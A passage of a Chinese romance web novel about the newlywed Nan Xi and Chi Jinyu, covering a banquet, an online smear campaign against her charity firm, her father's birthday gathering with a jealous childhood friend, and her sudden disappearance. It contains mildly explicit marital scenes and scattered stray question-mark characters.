以池靳予的身份完全可?以拒绝这场邀约,他的到来对主家来说可?算是泼天富贵,直接被?安排到主桌上座,连温家二老都对他客气恭敬。 南惜悄悄问他为什么要来。 数不清的眼睛盯着,他旁若无?人凑到她耳边,亲密,小声:“熟悉流程,吸取经验,以后用得上。” “……”南惜脸一热,嗔他。 手被?握得更紧一些?:“你?不是喜欢小朋友?我们早晚也会给孩子办满月宴。这种?事我不想交给别人,多看看,免得到时候什么都不会。” 说到孩子,南惜看见温家大女儿孤零零坐在宝宝椅里,没人管,心口一涩,问他:“你?们家也要男孩儿吗?” 池靳予顺着她目光看过?去,有一会儿没说话。 直到南惜扯了扯他的袖子,才笑?着低头轻抚她耳垂:“我们的孩子跟他们无?关。” 他指的是池家人,他父亲,和?那些?所谓的长辈。 传统大家族的长辈都倾向于男孩,他左右不了别人的想法。 “我们的孩子,我们自己喜欢就好。”他低沉而认真地说,“我没有要求,只要你?平安健康。” 金碧辉煌的大厅,喜庆嘈杂的音乐声里,南惜蓦地眼眶一热。 在他望着温家女儿沉默的那十几秒,南惜差点误会了他。 这一刻她好像突然明白了什么。 他看着那个孩子的时候或许在想,二十三年前,只有六岁的自己,也曾像温家女儿一样,在池昭明的满月宴上被?遗忘到角落,无?人问津。 南惜用力回?握他的手。 男人感觉到她的力道,以为她有话要说:“嗯?” 南惜什么都没有说,只是抬起他的手,放到唇边,落下一道虔诚的温热。 以后在这个世界上,会有一个人毫无?保 留地喜欢他,永远把他放在最重要的位置,永远都不会遗忘。 南惜忍着鼻尖酸涩,暗暗发誓。 只要池靳予不负她,她就一辈子守在他身边,不再想离开。 跟他一生一世,百年好合。 宴席后,温家小儿子被?保姆抱出?来,宾客们激动万分,凑上去看。 南惜没有凑上去,她牵着池靳予的手,隔了很远从缝隙里看。 小孩白白胖胖,看得出?娘胎里养得好,他母亲怀孕生产一定特别辛苦。 脾气也好,大人一逗就望着人笑?,像一尊小弥勒佛。 而旁边跟人说话的孩子妈妈,除了穿一身珠光宝气,完全看不出?是个贵妇。明明身材丰腴,脸色却苍白憔悴,眼睛里没有光。 池靳予搂着她肩膀小声说:“我看了一些?医学?典籍,怀孕时孩子不要长太大,不然你?会很辛苦,后期想恢复也更难。” “但不管怎么注意,对身体的伤害一定会有。” 南惜这么臭美的小姑娘,看见孩子妈妈那副模样时,的确心惊了一下。 “如果你?害怕,也没关系。”他握紧她手,十分郑重地说,“我不是一定要。” “我没害怕。”南惜靠在他胸前,环住他腰,仰头蹭了蹭他的下巴,“我是刚才看到那孩子的平安锁了。” 池靳予拍她后背的手稍稍一顿:“平安锁?” “嗯。”南惜点点头。 小孩脖子上挂着把金锁,很大,以温家对长孙的偏爱,八成是把实?心金锁,重得不行,也不知道这么小的孩子会不会难受。 “我以前也有的。”她抱紧池靳予的腰,轻轻地吸了口气,“听说我出?生前,奶奶就把平安锁打好了,你?知道吧,当?初上了vertus杂志的那把。” “特别漂亮,比这个漂亮多了,上面的帝王绿翡翠全世界只有一颗,奶奶把它送给了我。” “我好喜欢,五六岁还戴呢。” 男人温柔的手指穿进她头发,像一种?安抚。 “可?惜被?我弄丢了。”她吸了吸鼻子,一丝水汽晕染他衬衫。 “没关系,我帮你?找。”灼热的唇落下来,男人掷地有声的承诺,像一个烙印留在她发心,“一定能找到。” 第67章 第 67 章 南惜买了一些金融书籍, 恶补IPO相关知识。又买了些自媒体和摄影教材,一边问祁书艾取经,一边自己钻研琢磨, 跟陈悦可他们出差也?顺便当上摄影师。 总算没?有白?白?努力, 也?没?浪费池靳予斥巨资买给她的顶级摄影设备。南惜呕心沥血剪出的第三?条视频,流量小爆了一把, 涨粉三?千多,比之前辛苦运营一年翻了两番。 施明琅直呼她是个?福星,奖金也?给她翻了两番。 国庆长假,池靳予出差去澳门,没?法陪她, 索性把她也?带上。 余沭阳说这是他家老板有生以来第一次,出差工作的时候顺带游玩。 以前他只工作,多余的景色一眼不?看。 假期网络流量好,南惜昨天发的视频热度又创新高,隐隐有要大爆的趋势。 评论偶尔出现一些喷子, 南惜并没?有放到心上。 直到跟池靳予出去吃了顿饭,回到酒店, 陈悦可打电话来说他们上热搜了。 有自称是被资助人?爆料,近两个?月收到的物资不?如以前多, 而?且从?普通品牌换成了廉价品牌,但施明琅的新活动办得如火如荼, 入账比以前只多不?少,怀疑钱都进了管理层口袋。 公司群里, 不?知名?的员工也?开始发出疑问。 施明琅身体出了点?状况, 刚做完手术还?在医院,南惜不?想让她太忧心, 暂时没?告诉她。让助理娄茵安抚住大家,和陈悦可商量对策。 如果对方不?是因?为视频爆火盲狙他们,完全可能早有预谋,挑在施明琅身体虚弱,公司群龙无首的时候下手。 “太狡猾了这帮人?。”陈悦可说,“我想起来了,听说施总五年前去Y国资助被邀请发表演讲,那边有个?姓李的华人?大老板,做香品生意,人?品超烂,施总住酒店还?被他骚扰过?。 大会上施总当众驳他面,他记恨上了。后来回国,施总创办公司,刚起步的时候没?少被他使绊子。咱们公司做慈善,又不?分别?人?蛋糕,不?至于招人?眼红,我看就是那个?李总干的。” “叫什么?”南惜问。 陈悦可想了想:“李鹤,好像是F省人?。” “知道了。” 南惜挂了电话,托朋友查,李鹤,F省人?,Y国做香品生意,还?背地里暗算过?施明琅的公司。 很快,李鹤的详细信息落到她手上。 所谓爆料的被资助人?,分明就是他手下一名?走狗的亲戚。 “还?干嘛呢?”池靳予过?来,从?背后搂住她,“十点?了。” 手掌温热地往上游移。 “别?闹,我有事要忙。”南惜抓住他胳膊,“老公你电脑借我下。” “好。”男人?不?甘心地捏了一把柔软,才放开。 南惜转头?娇嗔:“流氓。” 池靳予欣然?应下这声骂,还?变本加厉地在她唇角偷了个?香,才把笔记本给她。 告诉她锁屏密码,便去洗澡了。 南惜把证据整合成新的视频,结果发出去后平台不?给流量,除了自家粉丝,更多的是那些水军,评论区乌烟瘴气。 陈悦可:“发到微博吧。” “可是微博没?多少粉丝。”南惜皱皱眉,公司实?名?的官方微博几乎不?营业,总不?能用她的私人?账号。 “我们帮你转发。”陈悦可说,“林林唐娇都和学校宣传部谈好了,到时候官博转发。” 南惜愣了下,不?太敢确定:“B大和Q大的官博?” “嗯,唐轩也?在和学校谈,听说他们宣传部负责的学长很欣赏你,应该没?问题。”陈悦可笑了笑,“南总,您要不?是已婚,追您的优质男可能真的会挤破头?。” 南惜现在可没?心思开玩笑:“别?打趣我了,你问一下唐轩那边的情况,我找娄茵要微博账号。” “好。” 微博这边要顺利得多,虽然?一开始没?热度,但经几大高校官博转发,舆论很快变了风向。 当新的热搜词条压过?之前那条的热度时,已经快一点?了。 南惜松懈下来,抬手揉了揉太阳穴和眉心。 以前偶尔见池靳予做这个?动作,她不?理解,如今也?尝到了为工作紧张犯愁的滋味,才终于和他感同身受。 施明琅还?是听说了,大半夜打来电话,南惜主动向她汇报自己今晚干的所有事。 “放心吧,都解决了,你好好养身体,不?要操劳。” “有你在我放心。”施明琅笑了笑,平日的女强人?,听起来难得有些虚弱,“这次我不?中用,多亏了你,等回京城我请你看小哥哥。” “别?。” “怎么?怕你老公啊?”施明琅打趣,“管这么严,看都不?让看?” 南惜压低嗓音,小心翼翼:“你可千万别?害我。” 施明琅听出画外音,啧了声:“传闻中池家大公子清心寡欲,都是假的?” 顿了顿,轻笑:“也?是,有你这么个大美人天天在跟前儿晃,他就是得道高僧也?憋不?住。” 南惜大半夜被讲得脸热:“明琅姐。” “不?逗你了,我得休息了,一会儿护士听见又进来数落我。”施明琅笑着说,“为了你们夫妻和谐,小哥哥就不看了,给你加奖金,晚安。” “晚安。” 以防万一,南惜把事件的来龙去脉,时间线,以及一些过?激评论截图和证据链整合。连同刚才发表的视频,找了一个?空间剩余最多的磁盘,备份下来。 点?进去检查的时候,发现磁盘里还?有另一个?文件夹。名?称是她的小名?,惜惜。 她好奇地双击一下,没?打开。 这文件夹被上了锁。 “看什么呢?”高大身影侧靠到桌边,温热和香味一并包裹住她。 男人?洗过?澡,钻被窝里等了她许久,还?是耐不?住过?来找她。 南惜牵住他手:“热搜是你叫人?撤的吗?” “嗯。”他没?否认。 南惜笑着亲了亲他的手背。 刚才她一刷新,对手买的热搜全消失了,原先?对他们不?利的词条,也?全都被屏蔽掉。 包括对她本人?的人?身攻击。 “那些带节奏辱骂的评论我打算交给余沭阳处理,直接起诉。”池靳予望着她,征求意见:“可以吗?” 她的工作他不?插手,但他不?允许他的妻子被任何人?伤害。只要她点?头?,他会追究到底。 南惜感动地吸了吸鼻子:“好。” “睡觉?”池靳予摸摸她脸颊。 “等会儿吧。”南惜面带思索地看了眼电脑,“我突然?想到一件事,要做一下。” “什么?” “这次是对方准备不?够充分,手段也?简单,才能这么容易被解决掉,但经过?这件事,我发现我们自己确实?有问题。之前明琅姐太忙,她代管财务很多方面都不?完善,我得具体想想回去之后怎么……” 话音未落,她被人?直接从?椅子上抱起来。 办公桌上还?亮着的屏幕,倒映出他一边亲着她,一边用腿抵开卧室门的背影。 被褥柔软,她却感觉到坚硬,推着他胸口娇嗔:“你说不?影响我工作的……” “你也?说回去之后再处理,现在有迫在眉睫吗?连觉都不?睡?”男人?目光幽沉地拆着盒子。 她最近真的很忙,学习IPO学习自媒体学摄影,还?要出差,回来之后又要剪片修片,盯数据盯评论,写复盘笔记。 有时候真后悔让她工作,却不?能阻止她工作。 他只是怕她太累。 南惜心里还?挂着事,咬咬唇:“我睡不?着……” “我帮你。”男人?嗓音低沉,缓缓推入,“一会儿就能睡着了。” 御园套房不?像普通酒店,装修也?不?是酒店风,而?是法式宫廷风,对南惜来说和龙湖山庄很像,有家的感觉。 卧室燃着静心助眠的沉香,一切都是柔缓的,水波浮动,如同深夜安静的湖面落下一片树叶,除了一丁点?水声,再无其?他。 她好像漂在温泉上,摇摇晃晃,始终舒缓的频率轻柔拍打,两人?交融出的熟悉绮香混杂着沉香味,让她大脑逐渐变得轻盈模糊。 不?知道什么时候睡着的,醒来时,天已大亮。 前些天池靳予忙,总是一大早就走,她睡到自然?醒,在酒店逛逛,他再派人?来接她吃午饭。 难得浮生半日闲,能在他怀里醒来。 两人?心照不?宣,一个?往对方胸口蹭蹭,另一个?搂得更紧些。 南惜想起昨晚在他电脑里看到的东西,问他文件夹里是什么。 男人?望着她笑而?不?语。 南惜满脸求知欲,眨眨眼:“不?能看吗?” “不?能。” “你不?会拍了我什么不?雅照片吧?”南惜故意激他,“还?弄个?文件夹存起来,像普法节目里那种老变态。” “老变态会用绳子把你绑起来,不?穿衣服的那种,吊在房檐上,戴小狗铃铛,然?后……”呼吸贴到她耳边,带着灼人?的温度。 后面的字眼越来越不?堪入耳。 虽然?她没?有见过?,但他讲得太露骨,南惜脑海中浮现出画面,不?禁瑟缩了下:“……你敢。” “我怎么舍得那样对你?”耳垂被手掌温柔覆住,像在为刚才那些话安抚她,“没?有什么不?雅照片,只是暂时不?方便给你看,以后会给你看的。” 南惜眼一亮:“是给我准备的惊喜吗?” “是。”呼吸顺着脖颈往下,“很大的惊喜。” 短暂的清醒又被他扰乱,浑浑噩噩,听见塑料包装被扯开的声音。 “到底是什么呀?”南惜攀着他肩膀,“能透露一点?点?点?吗?你什么都不?说,我心痒……” “马上不?痒了。” 女孩不?依不?饶的嗓音被咬唇咽下,变成一声娇柔的轻哼。 眸底瞬间弥漫了雾气,天花板上的水晶灯开始摇晃。 坏蛋,她说的不?是这个?痒…… 第68章 第 68 章 南俊良居然六十岁了。 想起今年家里要给爸爸办寿宴, 南惜一阵恍惚。总觉得爸爸还?年轻,她从来没刻意去算过年龄。 当年港岛南家这位红极一时的大公子?,温谦儒雅, 俊美无铸, 不知拒绝了多少名门千金,也曾让南向泽和瞿敏英犯愁不已。 兜兜转转, 捱到三?十岁才娶到心上人,还?为了老婆背井离乡,定居京城。 他?这一辈子?也算精彩。 南俊良的六十大寿,要亲自在龙湖山庄宴请宾客。 自家亲戚提前一天都过来了。 奶奶,二叔二婶, 三?叔三?婶,五叔五婶和小姑姑父,和包括魏亦铭在内的所有兄弟姐妹,家宴坐了满满一桌。 南家没那么多规矩,席间喝酒的喝酒, 吃饭的吃饭,小辈们尽情聊天, 气氛轻松又热闹。 池靳予和往常一样,给她剥虾剥螃蟹。大家都习惯讲粤语, 他?也没办法参与其中。 倒是南惜照顾他?,和南映雪聊着, 偶尔也给他?夹点菜,讲一讲。 今天午餐做了不少港式菜品。 “这个叫虾酱炸鸡, 很好吃的。” “嗯。”桌下, 池靳予轻轻捏她的手,仿佛在从南映雪那里夺回主权。 “哟, 嚟啦。”南映雪拍拍她胳膊。 南惜转过头:“咩?” 南映雪把手机递给她看。 一条朋友圈,拍了首都机场到达口,左上角备注名是卓英懋。 南映雪手机拿得近,池靳予也看清楚了,淡淡开口:“这是谁?” 南惜:“一个朋友。” “朋友?你?咁讲……”南映雪似乎想说什么,看到池靳予又把话头咽下去,笑着用普通话解释:“是和惜惜一起长大的好朋友啦。” 池靳予是不懂粤语,不是没脑子?,哪能察觉不到南映雪那一瞬眼神里的暧昧流动。 什么一起长大的好朋友,八成?也有青梅竹马那意思。 剩下的饭菜味同嚼蜡,他?没吃多少,正?好借一通电话离席。 南映雪等他?背影完全?消失,才拉着南惜说悄悄话:“你?结婚时他?都不想来,听说喝了好几顿大酒,被他?爹地?带回家关了半个月。” 南惜叹了声:“你?不用跟我讲这些。” “我知道你?对他?没意思,就提醒你?一下。”南映雪说,“大伯寿宴他?那么远过来,肯定是想见你?的,到时你?注意点,不要让妹夫误会了。” “嗯。”想到卓英懋,南惜头开始疼。 这位可是南俊良曾经?最中意的女婿人选,池靳予如果知道,估计又得翻几个醋坛子?。 他?这人,占有欲强得可怕。 下午,长辈们上麻将桌,小辈在院子?里品茶聊天,南禹辰和南清煜没人管,翘着腿开黑打游戏。 南惜依旧喝不惯苦味,池靳予亲手给她冲咖啡,糖和奶都是正?正?好分量,表面还?有精致漂亮的爱心玫瑰拉花。 “看不下去啦,泡杯咖啡都要秀恩爱。”南映雪故意说给池靳予听。 池靳予十分上道:“三?姐稍等。” 没多会,他?端来第二杯,同样有完美的拉花,但不是爱心玫瑰,是一朵郁金香。 这朵散发着香醇味道的郁金香终于让南映雪满意。 “好喝吗?”男人搂着她腰,肆无忌惮地?凑到她耳边。 南惜无比享受地?眯了眯眼:“好喝。” 远处,一辆香槟金色的加长林肯逐渐驶入山庄大门。 车停在大理石台阶下,后座门打开,先迈出一双修长的腿。灰色西?裤面料垂顺,在阳光下泛着丝缕银光。 落在地?面的黑色皮鞋纤尘不染。 等那人站定后,车再?次启动,开向地?库。 “快睇。” “边个?” “卓公子?啊。” “咁早就嚟?” 卓英懋走?上来,目光笔直淡定地?望向前方,没看任何人。 他?和池靳予是截然不同的两种气质。 卓英懋看似平易近人,实则骨子?里浸着傲慢。 池靳予外表高冷,对在意的人却?心软得不行。 经?过南惜面前时,卓英懋脚步稍停,目光从池靳予脸上淡淡瞥过,没一丝停留,只?望向南惜勾了勾唇:“惜惜,好耐冇见。” 南惜攥紧池靳予的袖子?,礼貌回应:“好耐冇见。” 卓英懋进?屋去问候长辈,南惜不动声色地?松了口气。 希望他?就是来给爸爸贺寿的,不要有别的心思。 她不想惹上麻烦。 然而怕什么来什么,有些事就不禁念。 晚饭后,大家在露台上看湖景,南惜下楼找陈阿姨,最后确认一下今晚的房间安排。 她原本不知道卓英懋会提早一天来,他?虽然不算亲戚,但以卓南两家的关系也是熟客,既不能怠慢,又不能太见外。 “我明白大小姐的意思了。”陈阿姨点点头,低声道,“那就四楼左侧第二间。” 南惜接着说:“卓公子对香味过敏,房间里不要放熏香,您先去把窗户打开,散散味儿。” “好的,大小姐。” 南惜交代完,转过身?刚要上楼,不远处一堵黑影吓了她一跳。看清来人,抬手拍了拍心口。 “两年没见,变这么胆小?”卓英懋站在高处笑着,一只?手闲闲插兜里,慵懒倜傥。 “有两年没见了吗?”南惜抬起头。 “七百二十七天,再?有三?天就两年了。”男人目光专注地?凝着她,“你?倒有心,还?记得我对什么过敏。” 不怪她记得清楚,小时候卓英懋可是因为粗心大意,差点丢命。 她虽然生在京城,但每年都要回港岛一个假期陪爷爷奶奶,和卓英懋也算从小玩到大。 认识池昭明多少年,就认识卓英懋多少年。 以前她只?把他?当玩伴和朋友,直到身?边的人都开始打趣,她也逐渐发现卓英懋对她不同。 那时她心里只?有池昭明,所以装聋作哑,主动疏远。 “听闻你?和池昭明分手,我以为你?会考虑我。”卓英懋毫不避讳地?直言。 南惜面色冷静:“我已经?结婚了,你?不要讲这些。” 男人苦笑了一声:“怪我,我应该立马回国找你?,不至于被别人捷足先登。” “卓英懋,我不是物品,没有什么先来后到。”南惜皱起眉,他?这副自以为是的贵公子?做派令人反感。 “你?喜欢他?吗?”卓英懋直勾勾盯住她。 南惜撇开眼:“与你?无关。” “你?认识他?才多久?能有多喜欢他??”卓英懋就连表白,语气也高傲,“可是我喜欢你?,比你?和池昭明在一起更早。” “卓英懋,我再?说一次。”南惜竭力保持冷静,也希望他?冷静,“我结婚了。” 她抬起右手,把婚戒亮到他?眼前。 “你?本应该跟我结婚。” “老婆。”温润嗓音从门口进?来,伴着一阵熟悉而沉稳的脚步声。 南惜稍回头,刚瞥见他?侧影,手已经?被牢牢握住。 池靳予手掌的力道有些重,看向卓英懋时,态度却?格外平静:“卓公子?,如果有事和我夫人聊,不如上去喝杯茶?” 卓英懋打量他?两秒,带几分兴味地?笑着问南惜:“佢唔识听?” 原本他?还?紧张了下,万一刚才那些被听见,他?虽然不怕,却?不光彩。 但看着南惜复杂的眼神,顿时明白,这位京城大佬真听不懂粤语。 于是当着池靳予的面,肆无忌惮地?对南惜说:“如果他?伤你?心,随时搵我。” “卓公子?。”池靳予凝住眼神,棕眸晕开一阵浓郁的墨色,“请你?自重。” 他?搂住南惜的腰,将她紧扣在怀里:“夫人也许你?听不懂,你?们那边叫太?太?。” “南惜是我太?太?,我女人。如果你?是来做客,我欢迎,但如果你?要觊觎别人太?太?,恕我不顾你?脸面,请你?离开。” 说罢,搂着南惜走?向电梯厅。 南惜一路浑浑噩噩,直到电梯被关上,“叮”一声,才醒过神来:“……你?听得懂?” 男人唇线抿得笔直。 南惜知道他?有情绪了,拽拽他?衣袖:“老公,你?也听到了,我告诉他?我结婚了,要他?别讲那些。” 池靳予慢条斯理,轻飘飘一句:“我听不懂。” “……” “我只?听到他?说喜欢你?。” 南惜还?想解释什么,一阵天旋地?转,被强势地?抱进?房间。 背抵着门,她感觉到他?的急切,无边委屈漫上眼眶,推他?:“池靳予,你?是不是不相信我?” 男人动作稍停,抬眼。 灯没开,屋里黑漆漆的,除了月光什么都没有。 但冷白光线让他?眸底燃烧的火焰逐渐平复:“没有,我相信你?。” “结婚前我说过,我会和异性保持距离,我说到做到。”南惜瓮声瓮气地?,泄愤似的拧了他?肩膀一下,“今天是他?主动提的,你?可以去调监控,我一句一句翻译给你?听,你?看看我有没有……” “好了。”他?亲了亲她的耳朵,低声哄,“对不起,是我昏头,但我真的没有怀疑你?,只?是看他?那张脸来气。” 南惜“噗嗤”一笑:“醋坛子?。” 池靳予又亲她额头,把她抱到沙发上坐着。 南惜帮他?整理刚刚被扯乱的领带和领口:“你?到底能听懂多少啊?” “怎么,打探我虚实,好方便你?注意和青梅竹马聊天的尺度?”男人故意逗她。 南惜忿忿地?咬他?下巴。 池靳予低笑一声,没让她作恶后全?身?而退。 整理好的领带又松了,领口也乱了,扣子?越散越多,最后被他?完全?扯出来。皮带扔到地?毯上,熨帖平整的西?裤也是。 偌大的别墅,明亮的地?方热闹喧哗,昏暗的地?方呢喃轻语。 南惜咬着他?肩膀,忽而松开,娇声喊他?。 灼热嗓音紧贴着送进?她耳朵:“粤语怎么说?” 晕乎乎的她问什么答什么。 “算了,不想听。”男人语气挫败夹着烦躁,却?愈战愈勇。 吞下她一阵哭音,翻身?侧躺着,把她的腿放在腿上,“说点我能听懂的。” 南惜试图出声,却?只?能发出柔软娇哼。 缓慢轻晃中,沾染雾气的眸仰起来看他?。 黑暗中的洁白,就像午夜开放的昙花,让人迷醉失智。 他?任由自己堕落,顽劣:“这种时候,是不是该叫日语?” 南惜抓紧他?胳膊浑身?一抖,眼角水花潋滟。 转瞬眼泪就像开了闸,很久关不上。 男人一边霸道索取,一边温柔地?哄:“bb,叫给我听。” 第69章 第 69 章 南惜泄在?他怀里, 好久好久才缓过来。 喊哑了,带着浓浓的鼻音嗔他:“池靳予,我真的看错你了。” 男人这顿吃得饱, 背着那么多宾客上来做, 还有种偷情般的隐秘感,让他格外身?心愉悦:“怎么?” “没想到你是那种人。”南惜咬牙切齿道。 居然也看片。 虽然男的一般都会看, 可她还是觉得膈应,别扭,她以为池靳予不一样。 想到他曾经看过别的女人……她嫌弃地?推开,起身?去?浴室。心想她回去?要跟施明琅一起看肌肉猛男,看个够。 “我哪种人?”她鄙视的眼神太明显, 池靳予似乎领会到什么,跟过去?,“老婆。” 南惜要关门,被他手臂拦住,进来, 搂着她靠在?盥洗台边:“我在?日本有两家分公司。” 南惜哼一声。 “我会日语,是工作需要。”池靳予认真对她解释。 南惜将信将疑, 盯着他眼睛找破绽:“真的吗?” 池靳予无奈地?捏捏她鼻头?:“你觉得我需要看那种片?” 南惜不依不饶:“那你怎么会的?” “我问医生。”他目光坦率。 “……”好一个问医生,给她整不会了。 “还有, 我藏宝阁里有古代的那种……图。”他饶有兴致地?望着她,“感兴趣的话?, 改天一起看。” 南惜脸嘭地?一热,眼神嗔怪地?敲他一拳。 谁要看什么春x图啊, 老古董。 “别瞧不起, 你得相信老祖宗的智慧。”池靳予捏着她下巴,俯身?, 鼻尖碰她,若有似无地?用嘴唇擦过,“老婆,我想到一个没试过的姿势。” “不要!” “一会儿?再?喊不要。” “用日语。” “やめて.” 他没看过那种片,但刚才灭顶一般的失控里,几乎感同身?受了那些欲罢不能的男同胞。 或许某些语言在?特定场合的魅力,就是会让人沉沦,上瘾,甘愿堕落。 或许也没那么复杂,只因为是她。 …… 第二天南俊良寿宴,主场在?依山傍水的湖边,宾客都用庄子里的接驳车接送。 一辆辆观光小电瓶,今天也被装点得无比喜庆,拉着红色绸带,贴着大红寿字。 南映雪坐在?车上,对着南惜耳朵小声开玩笑:“不知道的还以为你今天结婚。” 南惜也被逗笑了:“是我妈总说六十大寿得大办一场,细节都卡得死死的。” 要说宠老公,祁大小姐也是专业。 南惜一边坐着南映雪,另一边池靳予握着她的手,捏了捏:“那等我六十岁,寿宴就交给夫人奔忙了。” 南惜被他这话?整懵,南映雪反应快,笑骂:“您真不要脸。” 比起南俊良学了几十年还是港普腔,南映雪这声地?道许多。 池靳予笑笑:“您学得挺快。” 南映雪抓起南惜的手,告状:“你男人会跟我叫板了!不管管!” 池靳予手臂绕过去?,搂住自家老婆的腰,懒散地?靠在?她身?上,一副没骨头?的样子。 南映雪:“他还炫耀!” “我错了三姐。”池靳予见好就收。 他不是在?跟南映雪炫耀,也没必要,他更期待坐在?后面的卓英懋的表情。 于是叫南惜转过来,问了句什么,在?她仰头?时亲了她额头?。 兄弟姐妹都在?车上,还有凑数的零散宾客,南惜脸红娇嗔:“干嘛亲我?” “想亲我老婆,还要理由?吗?”他嗓音低缓温柔,却?理直气壮。 只有他能这么理直气壮,有的人就算恨死他,也得憋着。 昨晚亲眼撞见人告白自己老婆,试图勾搭有夫之妇,被无视,被挑衅的那股怨气,总算得到部分疏解。 今天天气晴朗,饭后南家兄弟叫祁景之和池靳予去?打高尔夫。 南惜本来也想去?,但她得陪奶奶回主楼那边睡午觉。瞿敏英明天就走了,也想和孙女多待待。 于是送他们上车,依依不舍地?拉着池靳予的手。 司机不知道该不该开车,急得满脸尴尬,祁景之实在?看不下去?:“显眼包,就你有老公,丢不丢人?” 南惜嗔他一眼:“你没有你嫉妒咯!” 祁景之吃了个瘪,冷笑:“你放心,我会有老婆。” “得了吧,母胎单身?三十年,我看你这辈子够呛。”顾鸢今天坐她父母那边,祁景之脖子都快扭断,她余光都不带瞟他一眼。 “好了,别和哥哥斗嘴了。”奶奶笑着拍拍她手,“咱们回去?睡午觉。” “好。”南惜扶着瞿敏英转身?,“阿嫲咱们也上车。” 祖孙俩刚坐好,要司机开车,突然听见祁书艾声音:“惜惜,等等我!” 南惜赶紧让司机停下,回头见祁书艾拎着裙子飞跑过来,心头?一紧,生怕她摔跤。 祁书艾顺利爬上车,舒了口气。 “怎么了?”南惜问。 祁书艾摆摆手:“快走快走。” 说完回头?往宾客区瞄了一眼,又触电般收回。 南惜顺着她目光,看见薄慎抽着烟,好整以暇朝这边望着。 祁书艾耳朵尖快要和她的南红耳坠一般红。 瞿敏英在?这儿?,南惜不好直接问,于是等回到主楼,陪奶奶去?房间待了会儿?,等奶奶睡着,才到客厅去?找祁书艾。 普通宾客不来这边,家里挺清净,只有几个帮佣洒扫的声响。 原本坐在?沙发上打游戏的祁书艾不知道去?哪儿?了。 南惜给她打电话?,响了十多秒才接听。 “喂?”那边是个男人声音。 南惜一愣:“薄总?” “薄慎你给我!”祁书艾的声音稍远些,忿忿的,咬牙切齿像要吃人。 “找你闺蜜聊点事儿?。”薄慎笑了笑,丝毫不被祁书艾干扰,“放心,聊完给你送回来。” 南惜知道这人按捺不住了,憋着笑说:“送她去?高尔夫球场。” “行?。” 司机等在?门口,南惜上车,给池靳予发了条消息说正在?过去?。 老公:【好。】 风吹着车顶的红绸飘动,也吹起她唇角:【你没跟他们打球吗?】 居然秒回。 老公:【不和他们。】 【等你一起。】 南惜靠在?椅背上,心底渗满丝丝缕缕的甜。 从主楼开到高尔夫球场要十分钟左右,午后些微困乏,南惜闭眼眯了会儿?。 直到车子忽然停下。 睁眼一看,池昭明拦车坐上来。 见她警惕的神色,勾了下唇:“南家今天开门迎客,我也算客人吧?放心,我不会对你做什么。” 南惜淡淡撇开眼:“我去?高尔夫球场,不顺路。” 那边都是南家人,池靳予和祁景之也在?,祁景之恨不得生吞活剥了他,这人但凡有脑子,就不会过去?找死。 “聊几句。”池昭明与她同坐一排,中间隔了一人座距离,对司机说,“麻烦您下车稍等,五十米就好。” 南惜毫无兴趣:“如果又要揭露你哥的前女友,就不劳烦了。” “不说他。”池昭明轻笑一声,“说点儿?你想知道的。” 南惜拧眉,让司机下车到对面等着 。 这里离球馆已经不远,入目青黄交接的无边草场,仅有中间横贯的这条小路。 司机下来本想抽根烟,想起大小姐讨厌烟味,又作罢,只放到鼻尖闻了闻。 他知道这是大小姐原先的未婚夫,当初劈腿闹得沸沸扬扬,所以一直盯着那边,如果那男的敢做什么,他会冲过去?。 好在?并没有什么风吹草动,似乎真只是聊天。而没过多久,池昭明下车,回头?走向草地?。 脚步恣意,昂扬,有那么一股奇异的畅快。 南惜敛眉沉默两分钟后,叫司机把车往回开。 * 十多分钟后,池靳予没看见她过来,发消息问也没回复,于是打了个电话?。 一直响到自动挂断。 想着山庄面积大,路程远,有的地?方手机信号弱,也或许遇到宾客要寒暄,照顾,他便耐心多等一会。 今天她是主家,没法事事以他为先。 魏亦铭叫他过去?观战,给他和祁景之当裁判。 池靳予应了声,发微信给南惜汇报,然后把手机收起来。 这一局结束,他再?给她打电话?。 祁景之发现他心不在?焉,走过去?问:“怎么了?” “惜惜说过来,半个多小时还没到,我怕路上出什么事了。”池靳予挫败地?挂断依旧打不通的电话?,眉蹙得很深,“一直不接。” “我问问。” 祁景之给主楼负责的帮佣打电话?,又问到开接驳车的司机,才知道南惜和池昭明说了几句,就半路折返,让人送她到停车场。 “她走了吗?”祁景之开着免提。 “是的,大小姐开车出去?了。”那边回答。 池靳予听完,扭头?就走。 “等下,给你叫车。”祁景之挂了电话?揣兜里,跑步跟上。 接驳车开得很快,风也狂躁,卷散两个男人沉冷的声音。 “我去?找她。”池靳予攥着手机的骨节泛白,“你留下来查清楚,我要个结果。” “介意对你家人动粗吗?” 祁景之眼神冰冷,分手那次他雇人殴打池昭明,这会儿?他后悔没亲自上。 “祁景之,别侮辱我。”那种人不配。 向来沉稳儒雅的上位者,再?不压抑骨子里的阴翳狠毒:“只要不打死,随便你。” 眼前带着山野气息的风,恍惚吹回十多年以前,同样秋冬交际的华盛顿。 那会儿?祁景之性子躁,一言不合就爱动手,池靳予说他无数次。 某天,坐在?轮椅上的少?年被几个异国小混混欺负,甚至用肮脏俚语侮辱那个住在?别墅里照顾残疾儿?子的漂亮中国女人。 祁景之站在?轮椅前,护着他,咬牙切齿地?发问:“兄弟,能动手吗?” 向来温和的少?年眼底泛出血光,清澈嗓音像裹了万年寒冰:“不打死就行?。” 第70章 第 70 章 库里南穿过蜿蜒的山间, 心急也不敢开太快,怕她就停在路旁。 电话依旧打不通,男人额角沁出汗意, 始终小?心观察着四?周。 可直到上?大路, 也没看见她。 池靳予不知道该去哪,只?是习惯性往家?里开。 电话铃响的那刻, 他心脏猛抽了下,看见屏幕显示是祁景之?,提起的心又坠落,按下接听。 “怎么样?”他问得有些丧气。 “看了监控,她上?车的时候情绪不太好?, 我刚联系公?安的朋友帮忙查,你别急,开车注意些。”祁景之?一改平日,反倒来安定?他心神,“另外池昭明那边我问清楚了, 那混账东西跟南惜说他一开始就是骗她,从?小?接近她就是有预谋, 要不是看在我们家?……”顿了顿,他没继续, 话头止在这儿。 “先找到人,别的以后?再说。” “好?。”池靳予攥紧了方?向盘。 “人我先揍了, 你后?妈要是有意见,你负责搞定?。”祁景之?冷声, “我嫌烦, 别让警察找我。” 池靳予一边烦躁地?摁喇叭催促前车,一边竭力稳下情绪, 扯了扯唇:“我哪次没帮你?” 池昭明在公?司附近被打那事,最后?也没和祁景之?扯上?,他不是没怀疑过池靳予在中间做了什么,毕竟是人家?的地?界。 虽然那会儿两人关系还冷着。 一道轻笑,带着隐约的释然:“电话来了,我先接,一会儿给你回。” 池靳予:“好?。” 